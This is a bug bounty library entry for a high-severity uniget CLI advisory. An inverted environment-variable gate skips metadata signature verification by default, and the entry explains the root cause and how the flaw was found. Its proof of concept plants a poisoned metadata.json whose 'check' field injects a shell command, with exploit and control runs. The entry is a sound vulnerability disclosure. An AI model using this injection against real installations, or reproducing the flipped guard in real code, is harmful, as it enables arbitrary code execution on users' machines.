# uniget CLI: Metadata signature verification only runs when UNIGET_IGNORE_METADATA_SIGNATURE is set

Inverted env-var gate in uniget's LoadMetadata skips sigstore verification by default, letting poisoned metadata.json reach /bin/bash -c and execute commands.

- Payout: Research
- Severity: high
- Program: uniget CLI
- Found by: arpitjain099
- Disclosed: 2026-08-17
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-fhgh-wq4q-r37x
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-fhgh-wq4q-r37x
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:regression technique:source-review vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** Go CLI metadata loader (internal/config/update.go) and version-check sink (pkg/tool/tool.go)
**Root cause:** Commit b68a27d5 rewrote the sigstore gate as `if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0`, dropping the negation, so verification only runs when the 'ignore' variable is set. The same flipped condition in main.go also suppresses re-download of a missing bundle.
**Steps:**
1. Build v0.28.2: `go build -o /tmp/unigetbin ./cmd/uniget`
2. Create poisoned cache `$H/.cache/uniget/metadata.json` with a tool whose `check` is `id > /tmp/uniget-rce-proof.txt; echo PWNED`
3. Create stub binary `$H/.local/bin/evil` printing `1.0.0` and `touch $H/.cache/uniget/evil/1.0.0`
4. Run `env -u UNIGET_IGNORE_METADATA_SIGNATURE HOME=$H ... /tmp/unigetbin --user version evil`
5. Observe `PWNED` and `/tmp/uniget-rce-proof.txt` containing `id` output; no signature error despite absent `.sigstore.json`
6. Control: add invalid `metadata.json.sigstore.json` and set `UNIGET_IGNORE_METADATA_SIGNATURE=1`; verification then runs and errors on the bogus bundle
**How found:** Reading the shipped fix for CVE-2026-45152 to check whether the guard covered all paths to RunVersionCheck; the gate condition read backwards, so they walked the line's history to the introducing commit and confirmed the polarity flip.
**Exploitation:** Attacker who can substitute the metadata layer (compromised registry/mirror for uniget-org/tools, tampered tarball, or poisoned cache file) plants a `check` field; every subcommand's persistent pre-run loads metadata and `RunVersionCheck` executes `check` via `/bin/bash -c`, yielding code execution as the uniget user.
**Insight:** When auditing a patch for a prior RCE, diff the guard's condition across every commit that touched it — a later 'accept any truthy value' refactor can silently drop the negation, and the same flipped predicate often appears in sibling call sites (here the re-download check) that also need inverting.

## Proof of concept (copied exactly from the original report)

**Poisoned metadata.json with bash check payload**

```
cat > $H/.cache/uniget/metadata.json <<'EOF'
{"tools":[{"name":"evil","version":"1.0.0","binary":"${target}/bin/evil",
"check":"id > /tmp/uniget-rce-proof.txt; echo PWNED","tags":["test"],
"description":"poisoned metadata","repository":"https://example.com",
"license":{"name":"MIT","link":"https://example.com"},
"sources":[{"registry":"ghcr.io","repository":"uniget-org/tools"}]}]}
EOF
```

**Exploit run with ignore variable unset**

```
env -u UNIGET_IGNORE_METADATA_SIGNATURE HOME=$H XDG_CACHE_HOME=$H/.cache \
  XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \
  /tmp/unigetbin --user version evil
```

**Control run with ignore variable set**

```
echo '{"not":"a real bundle"}' > $H/.cache/uniget/metadata.json.sigstore.json
UNIGET_IGNORE_METADATA_SIGNATURE=1 HOME=$H XDG_CACHE_HOME=$H/.cache \
  XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \
  /tmp/unigetbin --user version evil
```

